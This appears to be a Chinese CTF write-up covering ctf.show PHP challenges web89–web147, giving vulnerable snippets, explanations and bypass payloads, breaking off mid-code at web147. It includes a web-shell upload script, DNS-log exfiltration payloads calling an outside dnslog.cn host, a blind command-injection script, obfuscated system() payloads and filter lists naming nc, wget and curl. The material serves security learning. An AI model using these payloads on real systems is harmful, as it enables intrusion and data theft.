php特性

目录

1.1、数组传参

1.2“4476a”=“4476”

1.3 php多行单行都满足 /^php$/im

1.4  0x117c!=4476,传进去的16进制和数字是不相等的

1.5  小数绕过

1.6 传参的sripos首行不能为0

1.7、加上空格,首行就不为0,但是数字取整后,还不变

1.8 加入路径!=flag.php

1.9 数组绕过MD5,值不相等,单md5以后相等

1.10 $GET?$GET=&$_POST:'flag';

 1.11            1.php在in_array中是true

1.12   $v0=is_numeric($v1)and后面无用,因为执行了前面的=,and后面无用,不影响代码执行 。

1.13  接着上题,反射类ReflectionClass的使用。传参过滤了特殊字符和数字。

1.14   call_user_func($v1,$s); 

 1.15 数组绕过 sha1($v1)==sha1($v2)

  1.16 变量覆盖   eval("$$v1 = &$$v2;");

  1.17 sha1($v1)==sha1($v2) && $v1!=$v2数组绕过$v2['flag']==md5($v3)

1.18 ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE

1.19   $v1($v2());使用到了FilesystemIteartor它的功能是用来获取当前目录文件。以及getcwd()函数

 1.20 奇葩的绕过文件下载的三种方式http|https|data|input|rot13|base64|string/i(说不定可以用到文件包含)

web115,以后的了有机会再看吧

 Web 123

web125

web126

web127

web128

web129

web130

web131

web132

web133

web134

 web135

web 136 /\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp

web137 类的调用

web139 命令盲注

web140

web141

web142

web143

web144

web145

web146

web147

web148

web149


1.1、数组传参

#web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

 preg_match函数是用于完成字符串的正则匹配的函数,如果找到一个匹配的,就返回1,否则就返回0。
preg_match只能处理字符串,如果传入的值是数组的话,就会报错,从而返回false,绕过了正则匹配。
payload:?num[]=1

1.2“4476a”=“4476”

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){        //强类型判断 不仅判断值,还会判断类型
        die("no no no!");
    }
    if(intval($num,0)===4476){    //从num的第一个位置开始转换成整形数据
        echo $flag;
    }else{
        echo intval($num,0);
    }

--------------------------------
payload
?num=4476a

1.3 php多行单行都满足 /^php$/im

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
//表示匹配以php开头并且以php结尾,多行匹配
    if(preg_match('/^php$/i', $a)){
//单行匹配以php开头,同时也以php结尾
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
————————————————
web91   ?cmd=%0aphp

1.4  0x117c!=4476,传进去的16进制和数字是不相等的

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    } 
exp
#可以使用八进制或者是十六进制进行转化。因为是强这个是强等于
?num=0x117c

1.5  小数绕过

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    } 
---------------
#web93   在上面的基础上过滤了字母,所以可以采用八进制或者是小数的方法绕过
payload:?num=4476.3或者是?num=010574(八进制)

1.6 传参的sripos首行不能为0

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    } 
------------------
# web94
?num=4476.30

所以strpos函数的意思就是查找0在$num中的位置是否是0(此处就是过滤了八进制的方法),我们就只能使用小数的方法去绕过。且小数位还要存在一个0,假设我们的payload为4476.3,那么在经过strpos函数的时候,没有找到0,那么就会返回FALSE,在经过前面的!,就变成了TRUE。所以我们需要在小数的某一个位置带上0,绕过strpos函数。

1.7、加上空格,首行就不为0,但是数字取整后,还不变

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
------------------------------web95
在上一个题目的基础上增加了对点的过滤,同时需要满足:
$num的值不能是4476
不能含有大小写字母
num中必须包含着0,但是开头不能是0
可以使用换行或者空格或者+号,再加上八进制来绕过。
payload:
    ?num= 010574 //注意有空格
    ?num=%20010574
    ?num=%0a010574
    ?num=+010574
    ?num=%09010574
    ?num=%2b010574

1.8 加入路径!=flag.php

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']); 
--------------------------------web96
?u=php://filter/convert.base64=encode/resource=flag.php
?u=./flag.php
?u=/var/www/html/flag.php

1.9 数组绕过MD5,值不相等,单md5以后相等

if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.'; 
--------------------------------web97
post
a[]=1&b[]=2

1.10 $GET?$GET=&$_POST:'flag';

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GE T['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 
----------------------------------------web98

由于我们的GET传参是必需的,所以是不会取flag值得,所以中间的两句代码是没有任何意义的,最后的一句highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);代表着如果存在GET方式传参,HTTP_FLAG的值为flag,那么就highlight_file(flag),否则的话,就highlight_file(__FILE__)。
————————————————

img

 1.11            1.php在in_array中是true

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
} 

-----------------------
#-- coding:UTF-8 --
import requests

for i in range(100):
    url = 'http://42e51351-f413-4eaf-b59f-6fdbdca5fb18.challenge.ctf.show/?n=1.php'
    data={'content':'<?php eval($_POST[1]);?>'}
    content=requests.post(url=url,data=data)
    url1='http://42e51351-f413-4eaf-b59f-6fdbdca5fb18.challenge.ctf.show/1.php'
    content1=requests.get(url=url1)
    if content1.status_code==200:
        data2={'1':'system("cat flag36d.php");'}
        flag=requests.post(url=url1,data=data2)
        print(flag.text)

1.12   $v0=is_numeric($v1)and后面无用,因为执行了前面的=,and后面无用,不影响代码执行 。

$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        } 
--------------
?v1=1&v2=system('tac ctfshow.php')&v3=;
?v1=1&v2=echo new ReflectionClass&v3=;
?v1=1&v2=var_dump($ctfshow)&v3=;

1.13  接着上题,反射类ReflectionClass的使用。传参过滤了特殊字符和数字。

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
web101
?v1=1&v2=echo new ReflectionClass&v3=;
反射出来的flag最后一位缺,flag需要多试几次

1.14   call_user_func($v1,$s); 

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str); 
-------------------------------------

web102-103

该题目的思路就是通过调用hex2bin函数,将我们传入的十六进制内容解码为ASCII码,传入的参数可以通过base64编码,再转换为16进制,那么call_user_func函数返回的结果就是base64编码之后的结果,之后可以使用php://filter伪协议将内容再经过base64解码,存放到某个文件中。

由于要经过is_numeric()函数的检测,所以传入的参数的值要求是数字串。

?v2=105044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:  v1=hex2bin

 1.15 数组绕过 sha1($v1)==sha1($v2)

include("flag.php");
 
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
--------------------------------

web104

这里利用的是sha1函数不可以处理数组,那么当我们传入数组的时候,报错返回false,满足了if条件,从而输出了flag。同样md5函数也存在这样的漏洞。发现其他大佬直接传入v1=v2;v2=v2

  1.16 变量覆盖 

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

suces=flag&flag=

web105
//payload:(GET方式提交 POST什么都不提交)suces=flag&flag=
 
//先执行第一个foreach
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//首先得到$suces=$flag 之后再得到了 $flag=NULL
//第二个foreach不执行,因为我们没有通过POST提交任何的数据
foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//由于没有通过POST传递flag,所以flag的值为空,判断刚好相等,再取反之后
//刚好为false,便不会执行if的内嵌语句
if(!($_POST['flag']==$flag)){
    die($error);
}
//执行die($suces)输出了flag的值
echo "your are good".$flag."\n";
die($suces);

  eval("$$v1 = &$$v2;");

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
 
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }   
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
————————————————
?v1=ctfshow&v2=GLOBALS

  1.17 sha1($v1)==sha1($v2) && $v1!=$v2数组绕过$v2['flag']==md5($v3)

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

此漏洞与md5的漏洞是相同的,当传入的变量是不相同是数据的时候,由于sha1和md5无法处理数组,返回false,从而绕过。当然也可以使用sha1和md5碰撞。

常见的md5加密之后为0e开头的原值可以看之前写的文章,当然sha1函数加密之后对于0e开头的值,也会认为是科学计数法,所以可以绕过。
————————————————
或者传入 两个不同的数组例如  v1[]=v1  v2[]=v2   web106

  数组绕过web107

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
------------------------
payload1
?v3=a
post v1=flag=0cc175b9c0f1b6a831c399e269772661
------------------------
payload2
post  v1[]=2
v3[]=1

1.18 ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");


if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
 
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
----------------------
payload: ?c=a%00778

1.19   $v1($v2());使用到了FilesystemIteartor它的功能是用来获取当前目录文件。以及getcwd()函数

error_reporting(0);//不显示报错信息
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
 
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}

 传参没有过滤,要求按照如下输出 $v1($v2());

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?> 
------------------------
payload
?v1=ReflectionClass&v2=system('tac *')

 1.20 奇葩的绕过文件下载的三种方式http|https|data|input|rot13|base64|string/i(说不定可以用到文件包含)

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
-------------------------

看到过滤的data、input、base64、rot13,其实就提示我们使用php伪协议了

可以使用的payload:php://filter/resource=flag.php,还可以使用没有被过滤的编码方式,如:php://filter/read=convert.quote-printable-encode/resource=flag.php

file=compress.zlib://flag.php(这是读取压缩流)

file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php(这是两位一反转的读取方式)

第一次见下面的这三种方式,长知识了。

web112-114

web115,以后的了有机会再看吧

function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!"; 
--------------------
?num=%0C36

GET方式传参的num需要满足必须是数字,并且不等于36,经过函数去空之后也不等于36,经过函数过滤之后等于36

这个题还是有点不懂,附上大佬的FUZZ脚本:

<?php
for($i = 0; $i<129; $i++){
    $num=chr($i).'36';
    if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
        echo urlencode(chr($i))."\n";
    }
}
?>

%0C、%2B、-、.、0、1、2、3、4、5、6、7、8、9

构造payload:%0C36

 Web 123

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 
-------------------------------
p1:CTF_SHOW=&CTF[SHOW.COM=2&fun=echo $flag
p2:CTF_SHOW=0&CTF[SHOW.COM=0&fl0g=flag_give_me&fun=extract($_POST)  在echo $flag里执行

方法一:

查看代码后发现$fl0g根本不能用所以用eval函数得到flag,

存在CTF_SHOW存在CTF_SHOW.COM不能存在fl0g

而且执行的是$c

所以我直接POST传入:

CTF_SHOW=&CTF_SHOW.COM=&fun=echo $flag

发现一直无法得到flag,仔细看了一下好像是因为传入的CTF_SHOW.COM中的点会被替换,上网查了如何绕过

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

web125

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

----------------------------------------------------
Payload: 
GET:?shell=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell])

web126

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 
---------------------------
payload:
 
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
 
 
//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
 
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
 
 
if($ctf_show==='ilove36d'){
    echo $flag;
}
————————————————
在web123就了解过,点或空格会被转化为下划线,由于点被过滤 ,所以可以用上空格。
?ctf show=ilove36d

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL 
————————————————
var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));
?f1=_&f2=get_defined_vars

web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}
--------------------------
get传参:
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../var/www/html/flag.php
?f=./ctfshow/../flag.php

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

} 
POST  f=ctfshow

web131

include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}
---------------------------
import requests
url="http://d8f4642e-f4a1-4e39-9864-3572d085302b.challenge.ctf.show/"
data={
    'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}
————————————————
?code=admin&password=2&username=admin

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}
----------------------------------
?F=`$F`; ping `cat flag.php|grep ctfshow|tr -cd "[a-z]"/"[0-9]"`.gxxzck.dnslog.cn -c 1 

具体看自己的笔记总结吧,有可能内容太多,传不上去了

web134

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}
————————————————
?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
?F=`$F` ;ping `awk '/flag/' flag.php`.oywkie.dnslog.cn

 web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}
————————————————
?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
?F=`$F` ;ping `awk '/flag/' flag.php`.oywkie.dnslog.cn

web 136 /\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>
————————————————
?c=ls /|tee 2
?c=cat /f149_15_h3r3|tee 3

web137 类的调用

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);
————————————————
POST传参:
ctfshow=ctfshow::getFlag

web139 命令盲注

function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>


----------------------------------
exp
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t
from urllib.parse import quote as urlen
url  = 'http://0328f21d-c2c9-46a5-a051-2877c59ec9ce.challenge.ctf.show/?c='
alphabet = ['{','}', '.','/','@','-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''
for i in range(1,100):
	for char in alphabet:
		# payload = "if [ ` ls / | awk 'NR==4'  |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
		payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
		# data = {'cmd':payload}
		try:
			start = int(t.time())
			r = requests.get(url+payload)
			# r = requests.post(url, data=data)
			end = int(t.time()) - start
			# print(i,char)
			if end >= 3:
				result += char
				print("Flag: "+result)
				break
		except Exception as e:
			print(e)

web140

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    } 


---------------------------
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 

web141

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 
---------------------------------------------
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-&v2=1

web142

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}
---------------------
?v1=0

web143

<?php


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
<?php
$a = "phpinfo";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%ff";
}

?v1=1&v2=1&v3=*(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)*

web144


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false; 
----------------------------------------
v2不能是字母
?v1=1
&v2=-("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")
&v3=1

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
-------------------------
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|&v2=1
?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):&v2=1

web146

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
---------------------------------
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|&v2=1

web147

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
